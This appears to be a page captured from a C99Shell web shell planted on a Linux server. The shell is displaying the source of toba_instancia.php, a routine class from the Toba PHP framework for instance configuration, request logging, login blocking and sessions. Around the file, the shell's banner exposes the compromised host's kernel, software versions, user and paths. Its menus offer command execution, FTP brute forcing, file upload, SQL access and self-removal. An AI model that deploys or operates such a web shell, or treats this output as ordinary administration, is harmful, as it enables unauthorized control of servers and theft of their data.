!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/nucleo/lib/   drwxr-xr-x
Free 14.92 GB of 61.93 GB (24.1%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_instancia.php (22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Datos de ACCESO y AUDITORIA necesarios para el funcionamiento del nucleo.
 * Enmascara principalmente al archivo de configuración instancia.ini de la instancia actual
 * 
 * @package Centrales
 */
class toba_instancia
{
    static private 
$instancia;
    static protected 
$id;
    protected 
$id_solicitud;
    private 
$memoria;                            //Referencia al segmento de $_SESSION asignado
        
    /**
     * @return toba_instancia
     */
    
static function instancia($recargar=false)
    {
        if (!isset(
self::$instancia) || $recargar) {
            
self::$instancia = new toba_instancia($recargar);    
        }
        return 
self::$instancia;    
    }

    static function 
eliminar_instancia()
    {
        
self::$instancia null;
    }

    private function 
__construct($recargar)
    {
        
$this->memoria =& toba::manejador_sesiones()->segmento_info_instancia();

        if(!
$this->memoria || $recargar) {
            
$this->memoria $this->get_datos_instanciaself::get_id() );
        }
    }
    
    
/**
     * Retorna el contenido del archivo instancia.ini de la instancia 
     */
    
static function get_datos_instancia($id_instancia)
    {
        
$archivo toba::nucleo()->toba_instalacion_dir().'/i__' $id_instancia '/instancia.ini';
        if ( 
is_file$archivo ) ) {
            return 
parse_ini_file$archivotrue );
        } else {
            throw new 
toba_error("INFO_INSTANCIA: No se encuentra definido el archivo de inicializacion de la INSTANCIA: '".self::get_id()."' ('$archivo')");
        }     
    }
    
    
/**
     * Retorna el id de la instancia actual
     * La configuracion puede estar cono variable de entorno del servidor o una constante del PA
     */
    
static function get_id()
    {
        if ( ! isset(
self::$id)) {
//            var_dump($_SERVER);
            
if (defined('apex_pa_instancia')) {
                
self::$id apex_pa_instancia;
            } elseif (isset(
$_SERVER['TOBA_INSTANCIA'])) {
                
self::$id $_SERVER['TOBA_INSTANCIA'];
//            } elseif (isset($_SERVER['toba_instancia'])) {
//                self::$id = $_SERVER['toba_instancia'];
            
} else {
                throw new 
toba_error("INFO_INSTANCIA: La INSTANCIA ACTUAL no se encuentra definida (no existe la variable de entorno TOBA_INSTANCIA ni la constante 'apex_pa_instancia')");
            }
        }        
        return 
self::$id;
    }
    
    
/**
     * Retorna un vinculo a la base de datos que forma parte de la instancia
     * @return toba_db_postgres7
     */
    
function get_db()
    {
        if ( isset( 
$this->memoria['base'] ) ) {
            return 
toba_dba::get_db($this->memoria['base']);
        } else {
            throw new 
toba_error("INFO_INSTANCIA: El archivo de inicializacion de la INSTANCIA: '".self::$id."' no posee una BASE DEFINIDA");
        }
    }
    
    function 
get_schema_db()
    {
        
$parametros toba_dba::get_parametros_base($this->memoria['base']);
        if (isset(
$parametros['schema'])) {
            return 
$parametros['schema'];
        }
    }
    
    function 
get_schema_logs_toba()
    {
        return 
$this->get_schema_db(). '_logs';
    }
    
    
/**
     * @return toba_modelo_instancia
     */
    
protected function get_modelo_instancia()
    {
        
$catalogo toba_modelo_catalogo::instanciacion();
        
$catalogo->set_db($this->get_db());
        return 
$catalogo->get_instancia($this->get_id());        
    }
    
    
/**
     * Retorna el path absoluto de un proyecto perteneciente a esta instancia
     */
    
function get_path_proyecto($proyecto)
    {
        
//incluyo el archivo de informacion basica de la INSTANCIA
        
if ($proyecto == 'toba') {
            return 
toba::instalacion()->get_path();    
        } elseif (isset(
$this->memoria[$proyecto]['path'])) {
            
$path $this->memoria[$proyecto]['path'];
            if (
substr($path01) == '.') {
                return 
realpath(toba_dir().'/'.$this->memoria[$proyecto]['path']);
            } else {
                return 
$this->memoria[$proyecto]['path'];
            }
        } else {
            return 
toba_dir() . "/proyectos/" $proyecto;
        }
    }

    function 
get_path_ini()
    {
        
$id_instancia toba::instancia()->get_id();
        return 
toba::nucleo()->toba_instalacion_dir(). '/'.toba_modelo_instancia::dir_prefijo.$id_instancia '/'toba_modelo_instancia::toba_instancia;
    }
    
    static function 
get_path_instalacion_proyecto($proyecto)
    {
        
$id_instancia toba::instancia()->get_id();
        return 
toba::nucleo()->toba_instalacion_dir() . '/' toba_modelo_instancia::dir_prefijo$id_instancia '/' toba_modelo_instancia::prefijo_dir_proyecto $proyecto;    
    }
    
    function 
get_directiva_compilacion($proyecto)
    {
        if (isset(
$this->memoria[$proyecto]['metadatos_compilados'])) {
            return 
$this->memoria[$proyecto]['metadatos_compilados'];
        }
        return 
null;
    }
    
    function 
get_largo_minimo_password()
    {
        if (isset(
$this->memoria['pwd_largo_minimo'])) {
            return 
$this->memoria['pwd_largo_minimo'];
        } else {
            return 
apex_pa_pwd_largo_minimo;
        }
    }
    
    
//----------------------------------------------------------------
    // DATOS
    //----------------------------------------------------------------

    //------------------------- LOG aplicacion -------------------------------------

    
function get_id_solicitud()
    {
        if (! isset(
$this->id_solicitud)) {
            
$sql "SELECT nextval('{$this->get_schema_logs_toba()}.apex_solicitud_seq'::text) as id;";    
            
$rs $this->get_db()->consultar($sql);
            if (empty(
$rs)) {
                throw new 
toba_error('No es posible generar un ID para la solicitud');
            }
            
$this->id_solicitud $rs[0]['id'];
        }
        return 
$this->id_solicitud;
    }

    private function 
existe_solicitud($id)
    {
        
$sql "SELECT  '1'  FROM {$this->get_schema_logs_toba()}.apex_solicitud WHERE solicitud = :solicitud;";
        
$rs $this->get_db()->sentencia($sql, array('solicitud' => $id));
        return (! empty(
$rs));
    }
    
    function 
registrar_solicitud($id$proyecto$item$tipo_solicitud)
    {
        
//Evita que se intente registrar 2 veces la misma solicitud
        
if (! $this->existe_solicitud($id)) {
            
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_solicitud (proyecto, solicitud, solicitud_tipo, item_proyecto, item)    
                    VALUES (:proyecto, :solicitud, :solicitud_tipo,:item_proyecto, :item);"
;    

            
$parametros = array(
                
'proyecto' => $proyecto,
                
'solicitud' => $id,
                
'solicitud_tipo' => $tipo_solicitud,
                
'item_proyecto' => $proyecto,
                
'item' => $item
            
);
            
$this->get_db()->sentencia($sql$parametros);
        }
    }

    function 
actualizar_solicitud_cronometro($id$proyecto)
    {
        
$tiempo toba::cronometro()->tiempo_acumulado();        
        
$sql "UPDATE {$this->get_schema_logs_toba()}.apex_solicitud SET tiempo_respuesta = :tiempo_respuesta
                WHERE    proyecto =  :proyecto AND solicitud = :solicitud;"
;
        
        
$parametros = array(
            
'proyecto' => $proyecto,
            
'solicitud' => $id,
            
'tiempo_respuesta' => $tiempo                        
        
);
        
$this->get_db()->sentencia($sql$parametros);
    }
    
    
    function 
registrar_solicitud_observaciones$proyecto$id$tipo$observacion )
    {        
        
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_solicitud_observacion (proyecto, solicitud, solicitud_obs_tipo_proyecto, solicitud_obs_tipo, observacion)    
                VALUES (:proyecto, :solicitud, :solicitud_obs_tipo_proyecto,:solicitud_obs_tipo, :observacion);"
;    

        
$parametros = array(
            
'proyecto' => $proyecto,
            
'solicitud' => $id,
            
'solicitud_obs_tipo' => $tipo[0],
            
'solicitud_obs_tipo_proyecto' => $tipo[1],
            
'observacion' => $observacion
        
);
        
$this->get_db()->sentencia($sql$parametros);        
    }

    function 
registrar_solicitud_browser($proyecto$id$sesion_proyecto$sesion$ip)
    {
        
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_solicitud_browser (solicitud_proyecto, solicitud_browser, proyecto, sesion_browser, ip)    
                VALUES (:solicitud_proyecto, :solicitud_browser, :proyecto, :sesion_browser, :ip);"
;    

        
$parametros = array(
            
'solicitud_proyecto' => $proyecto,
            
'solicitud_browser' => $id,
            
'proyecto' => $sesion_proyecto,
            
'sesion_browser' => $sesion,
            
'ip' => $ip
        
);
        
$this->get_db()->sentencia($sql$parametros);        
    }

    function 
registrar_solicitud_consola($proyecto$id$usuario$llamada)
    {
        
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_solicitud_consola (proyecto, solicitud_consola, usuario, llamada) 
                VALUES (:proyecto,:toba_solicitud_consola, :usuario, :llamada);"
;
        
$parametros = array(
            
'proyecto' => $proyecto,
            
'toba_solicitud_consola' => $id,
            
'usuario' => $usuario,
            
'llamada' => $llamada
        
);
        
$this->get_db()->sentencia($sql$parametros);        
    }

    function 
registrar_marca_cronometro($proyecto$solicitud$marca$nivel$texto$tiempo)
    {
        
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_solicitud_cronometro(proyecto, solicitud, marca, nivel_ejecucion, texto, tiempo) 
                VALUES (:proyecto, :solicitud, :marca, :nivel_ejecucion, :texto, :tiempo);"
;
        
$parametros = array(
            
'proyecto' => $proyecto,
            
'solicitud' => $solicitud,
            
'marca' => $marca,
            
'nivel_ejecucion' => $nivel,
            
'texto' => $texto,
            
'tiempo' => $tiempo
        
);
        
$this->get_db()->sentencia($sql$parametros);        
    }

    function 
registrar_solicitud_web_service($proyecto$solicitud$metodo$ip)
    {
        
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_solicitud_web_service (proyecto, solicitud, metodo, ip)
                VALUES (:proyecto, :solicitud, :metodo, :ip);"

        
$parametros = array(
            
'proyecto' => $proyecto,
            
'solicitud' => $solicitud,
            
'metodo' => $metodo,
            
'ip' => $ip
        
);        
        
$this->get_db()->sentencia($sql$parametros);        
    }
    
    
    
//------------------ Relacion entre PROYECTOS --------------------------
    
    /**
     * Retorna las urls de los proyectos actualmente incluídos en la instancia
     */
    
function get_url_proyectos($proys)
    {
        
$salida = array();
        foreach (
$proys as $pro) {
            
$salida[$pro] = $this->get_url_proyecto($pro);
        }
        return 
$salida;
    }
    
    
/**
     * Retorna las url asociada a un proyecto particular de la instancia
     */    
    
function get_url_proyecto($proy)
    {
        if (isset(
$this->memoria[$proy]['url'])) {
            return 
$this->memoria[$proy]['url'];
        } elseif (
toba::proyecto()->get_id() == $proy && isset($_SERVER['TOBA_PROYECTO_ALIAS'])) {
            
//---Es el actual y hay una directiva en el ALIAS
            
return '/'.$_SERVER['TOBA_PROYECTO_ALIAS'];
        } else {
            return 
'/'.$proy;
        }
    }
    
    function 
get_url_proyecto_pers($proy)
    {
        if (isset(
$this->memoria[$proy]['url_pers'])) {
            return 
$this->memoria[$proy]['url_pers'];
        } elseif (
toba::proyecto()->get_id() == $proy && isset($_SERVER['TOBA_PROYECTO_ALIAS'])) {
            
//---Es el actual y hay una directiva en el ALIAS
            
return '/'.$_SERVER['TOBA_PROYECTO_ALIAS'];
        } else {
            return 
'/'.$proy.'_pers';
        }
    }
    
/**
     * Retorna la lista de proyectos a los cuales el usuario actual puede ingresar
     */
    
function get_proyectos_accesibles($refrescar=false)
    {
        if (
$refrescar || ! isset($this->memoria['proyectos_accesibles'])) {
            
$usuario $this->get_db()->quote(toba::usuario()->get_id());
            
$sql "SELECT         p.proyecto, 
                                p.descripcion_corta
                        FROM     apex_proyecto p,
                                apex_usuario_proyecto up
                        WHERE     p.proyecto = up.proyecto
                        AND      listar_multiproyecto = 1 
                        AND        up.usuario = 
$usuario
                        ORDER BY orden;"
;
            
$this->memoria['proyectos_accesibles'] =
                     
$this->get_db()->consultar($sqltoba_db_fetch_num);
        }
        return 
$this->memoria['proyectos_accesibles'];
    }
    
    function 
get_id_proyectos()
    {
        
$ids = array();
        foreach (
explode(','$this->memoria['proyectos']) as $id) {
            
$ids[] = trim($id);
        }
        return 
$ids;
    }

    
//--------------------------------------------------------------------------
    //-------------------- LOGIN USUARIOS --------------------------------------------
    //--------------------------------------------------------------------------

    /**
     * Retorna la información cruda de un usuario, tal como está en la base de datos
     * Para hacer preguntas del usuario actual utilizar toba::usuario()->
     *
     * @see toba_usuario
     */
    
function get_info_usuario($usuario)
    {
        
$usuario $this->get_db()->quote($usuario);
        
$sql "SELECT    usuario as                            id,
                        nombre as                            nombre,
                        email as                            email,
                        parametro_a as                        parametro_a,
                        parametro_b as                         parametro_b,
                        parametro_c as                        parametro_c
                FROM     apex_usuario u
                WHERE    usuario = 
$usuario";
        
$rs $this->get_db()->consultar($sql);
        if(empty(
$rs)){
            throw new 
toba_error("El usuario $usuario no existe.");
        }
        return 
$rs[0];
    }

    function 
get_info_autenticacion($usuario)
    {
        try {
            
$sql 'SELECT clave, 
                          autentificacion, 
                          CASE WHEN (vencimiento IS NOT NULL) THEN
                            (now()::date > vencimiento::date)::integer        /*Verifico si la clave esta vencida*/
                          ELSE
                                 0
                          END  as clave_vencida,
                          forzar_cambio_pwd
                     FROM apex_usuario 
                          WHERE usuario = :usuario'
;
            
$id $this->get_db()->sentencia_preparar($sql);
            
$rs $this->get_db()->sentencia_consultar($id, array('usuario'=>$usuario));
            if(!empty(
$rs))    return $rs[0];
        } catch (
toba_error_db $e ) {
            
toba::logger()->info($e->getMessage());
            throw new 
toba_error('Error recuperando información');
        }
    }

    function 
get_pregunta_secreta($usuario)
    {
        try {
            
$sql 'SELECT pregunta, respuesta FROM apex_usuario_pregunta_secreta WHERE activa = 1 AND usuario = :usuario';
            
$id $this->get_db()->sentencia_preparar($sql);
            
$rs $this->get_db()->sentencia_consultar($id, array('usuario' => $usuario));
            if (!empty(
$rs)) return $rs[0];
        } catch (
toba_error_db $e) {
            
toba::logger()->info($e->getMessage());
            throw new 
toba_error('Error recuperando información');
        }
    }
            
    function 
get_lista_claves_usadas($usuario$periodo_tiempo=null)
    {    
        
$params = array('usuario' => $usuario);        
        
$sql 'SELECT clave, algoritmo FROM apex_usuario_pwd_usados WHERE usuario = :usuario ';         
        if (! 
is_null($periodo_tiempo)) {
            
$sql .= ' AND (current_date - fecha_cambio)::integer <= :periodo';            
            
$params['periodo'] = $periodo_tiempo;
        }
        try {
            
$id $this->get_db()->sentencia_preparar($sql);
            
$rs $this->get_db()->sentencia_consultar($id$params);
            return 
$rs
        } catch (
toba_error_db $e) {
            
toba::logger()->info($e->getMessage());
            throw new 
toba_error('Error recuperando información');
        }
    }
    
    
/**
     * @ignore
     * @param string $usuario
     * @param string $proyecto
     * @return array
     */
    
function get_datos_perfiles_funcionales_usuario_proyecto($usuario$proyecto)
    {
        
$db $this->get_db();
        
$usuario $db->quote($usuario);
        
$proyecto_quote $db->quote($proyecto);
        
$sql "SELECT    up.usuario_grupo_acc as  grupo_acceso,
                        (SELECT COUNT(*) FROM apex_usuario_grupo_acc_miembros mie WHERE mie.usuario_grupo_acc = up.usuario_grupo_acc) as cant_membresias,
                        ga.nombre
                FROM     apex_usuario_proyecto up,
                        apex_usuario_grupo_acc ga
                WHERE    up.usuario_grupo_acc = ga.usuario_grupo_acc
                AND        up.proyecto = ga.proyecto
                AND        up.usuario = 
$usuario
                AND        up.proyecto = 
$proyecto_quote
                ORDER BY ga.usuario_grupo_acc ASC;"
;
        return 
$db->consultar($sql);
    }
        
    
/**
    *    Retorna los perfiles funcionales que tiene asociado un usuario a un proyecto
    *    @return $value    Retorna un array de grupos de acceso
    */    
    
function get_perfiles_funcionales($usuario$proyecto
    {
        
$datos $this->get_datos_perfiles_funcionales_usuario_proyecto($usuario$proyecto);
        if(
$datos){
            
$grupos = array();
            foreach(
$datos as $dato) {
                 
$grupo $dato['grupo_acceso'];
                 
$grupos[] = $grupo;                                      
                 if (
$dato['cant_membresias'] > 0) {
                     
$grupos array_merge($grupostoba::proyecto()->get_perfiles_funcionales_asociados($grupo));
                 }
            }
            
$grupos array_unique($grupos);
            return 
$grupos;
        } else {
            return array();
        }        
    }
    
    
    
    
/**
    * @deprecated Usar get_perfiles_funcionales
    */
    
function get_grupos_acceso($usuario$proyecto)
    {
        return 
$this->get_perfiles_funcionales($usuario$proyecto);
    }
    
    
/**
    *    Utilizada en el login automatico
    */
    
function get_lista_usuarios($proyecto=null)
    {
        if (! isset(
$proyecto)) {
            
$proyecto toba_proyecto::get_id();
        }
        
$proyecto $this->get_db()->quote($proyecto);
        
$sql "SELECT     DISTINCT 
                        u.usuario as usuario, 
                        u.nombre as nombre
                FROM     apex_usuario u, apex_usuario_proyecto p
                WHERE     u.usuario = p.usuario
                AND        p.proyecto = 
$proyecto
                ORDER BY 1;"
;
        return 
$this->get_db()->consultar($sql);    
    }

    
//-------------------- Bloqueo de IPs en LOGIN  ----------------------------

    
function es_ip_rechazada($ip)
    {
        
$sql "SELECT '1' FROM {$this->get_schema_logs_toba()}.apex_log_ip_rechazada WHERE ip = :ip";
        
$id $this->get_db()->sentencia_preparar($sql);
        
$rs $this->get_db()->sentencia_consultar($id, array('ip'=>$ip));
        if ( empty(
$rs)) {
            return 
false;
        }
        return 
true;
    }
    
    function 
registrar_error_login($usuario$ip$texto)
    {
        
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_log_error_login(usuario,clave,ip,gravedad,mensaje) VALUES ( :usuario, NULL, :ip,'1',:texto)";
        try {
            
$id $this->get_db()->sentencia_preparar($sql);
            
$this->get_db()->sentencia_ejecutar($id, array('usuario'=>$usuario,'ip'=>$ip,'texto'=>$texto));
        } catch ( 
toba_error_db $e) {
            throw new 
toba_error('Error');
        }
    }

    function 
bloquear_ip($ip)
    {
        try {
            
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_log_ip_rechazada (ip) VALUES (:ip)";
            
$id $this->get_db()->sentencia_preparar($sql);
            
$this->get_db()->sentencia_ejecutar($id, array('ip'=>$ip));
        } catch ( 
toba_error $e ) {
            
//La ip ya esta rechazada    
        
}
    }
    
    function 
get_cantidad_intentos_en_ventana_temporal($ip$ventana_temporal=null)
    {
        
$sql "SELECT count(*) as total FROM {$this->get_schema_logs_toba()}.apex_log_error_login WHERE ip = :ip AND (gravedad > 0)";
        
$parametros['ip'] = $ip;
        if (isset(
$ventana_temporal)) {
            
$sql .= " AND ((now()-momento) < :ventana_temporal)";
            
$parametros['ventana_temporal'] = $ventana_temporal ' min';
        }
        try {
            
$id $this->get_db()->sentencia_preparar($sql);
            
$rs $this->get_db()->sentencia_consultar($id$parametros);
            return 
$rs[0]['total'];
        } catch ( 
toba_error_db $e) {
            throw new 
toba_error('Error!');
        }
    }
    
    
//-------------------- Bloqueo de Usuarios en LOGIN  ----------------------------
    
    
    
function get_cantidad_intentos_usuario_en_ventana_temporal($usuario$ventana_temporal=null)
    {
        
$sql "SELECT count(*) as total FROM {$this->get_schema_logs_toba()}.apex_log_error_login WHERE usuario = :usuario AND (gravedad > 0)";
        
$parametros['usuario'] = $usuario;
        if (isset(
$ventana_temporal)) {
            
$sql .= " AND ((now()-momento) < :ventana_temporal)";
            
$parametros['ventana_temporal'] = $ventana_temporal ' min';
        }
        try {
            
$id $this->get_db()->sentencia_preparar($sql);
            
$rs $this->get_db()->sentencia_consultar($id$parametros);
            return 
$rs[0]['total'];
        } catch ( 
toba_error_db $e) {
            throw new 
toba_error('Error!');
        }
    }
    
    function 
bloquear_usuario($usuario)
    {
        try {
            
$sql "UPDATE apex_usuario SET bloqueado = 1 WHERE usuario = :usuario";
            
$id $this->get_db()->sentencia_preparar($sql);
            
$this->get_db()->sentencia_ejecutar($id, array('usuario'=>$usuario));
        } catch ( 
toba_error $e ) {
            
//el usuario ya esta bloqueado
        
}
    }
    
    function 
es_usuario_bloqueado($usuario)
    {
        
$sql "SELECT '1' FROM apex_usuario WHERE usuario = :usuario AND bloqueado = 1";
        
$id $this->get_db()->sentencia_preparar($sql);
        
$rs $this->get_db()->sentencia_consultar($id, array('usuario'=>$usuario));
        if ( empty(
$rs)) {
            return 
false;
        }
        return 
true;
    }
    
    
//--------------------------------------------------------------------------
    //------------------------- SESION -------------------------------------
    //--------------------------------------------------------------------------
    
    
function get_id_sesion()
    {
        
$sql "SELECT nextval('{$this->get_schema_logs_toba()}.apex_sesion_browser_seq'::text) as id;";
        
$rs $this->get_db()->consultar($sql);
        if(empty(
$rs)){
            throw new 
toba_error("No es posible recuperar el ID de la sesion.");
        }
        return 
$rs[0]['id'];
    }
    
    function 
abrir_sesion($sesion$usuario$proyecto)
    {
        
$sql "INSERT INTO {$this->get_schema_logs_toba()}.apex_sesion_browser(sesion_browser, usuario, ip, proyecto, php_id) 
                VALUES (:sesion_browser, :usuario, :ip, :proyecto, :php_id);"
;
        
$ip = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : null;        
        
$parametros = array(
            
'sesion_browser' => $sesion,
            
'usuario' => $usuario,
            
'ip' => $ip,
            
'proyecto' => $proyecto,
            
'php_id' => session_id(),
        );
        
$this->get_db()->sentencia($sql$parametros);        
    }
    
    function 
cerrar_sesion($sesion$observaciones null)
    {
        
$db $this->get_db();
        
$sesion $db->quote($sesion);
        if (isset(
$observaciones)){
            
$observaciones $db->quote($observaciones);
            
$sql "UPDATE {$this->get_schema_logs_toba()}.apex_sesion_browser SET egreso = current_timestamp, observaciones=$observaciones WHERE sesion_browser = $sesion;";
        }else{
            
$sql "UPDATE {$this->get_schema_logs_toba()}.apex_sesion_browser SET egreso = current_timestamp WHERE sesion_browser = $sesion;";
        }        
        
$db->ejecutar($sql);
    }

    
//--------------------------------------------------------------------------
    //------------------------ Administracion de USUARIOS
    //--------------------------------------------------------------------------

    /**
     *    Crea un nuevo usuario en la instancia 
     *
     * @param string $usuario
     * @param string $nombre
     * @param string $clave
     * @param array $atributos asociativo campo => valor
     */
    
function agregar_usuario$usuario$nombre$clave $atributos=array())
    {
        
$this->get_modelo_instancia()->agregar_usuario($usuario$nombre$clavenull$atributos);
    }
    
    function 
vincular_usuario$proyecto$usuario$perfil_acceso$perfil_datos=array(), $set_previsualizacion=true )
    {
        
$this->get_modelo_instancia()->get_proyecto($proyecto)->vincular_usuario($usuario$perfil_acceso$perfil_datos$set_previsualizacion);
    }    

    function 
desbloquear_usuario($usuario)
    {
        
$sql "UPDATE apex_usuario SET bloqueado = 0 WHERE usuario = :usuario";
        
$id $this->get_db()->sentencia_preparar($sql);
        
$this->get_db()->sentencia_ejecutar($id, array('usuario'=>$usuario));
    }    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.7916 ]--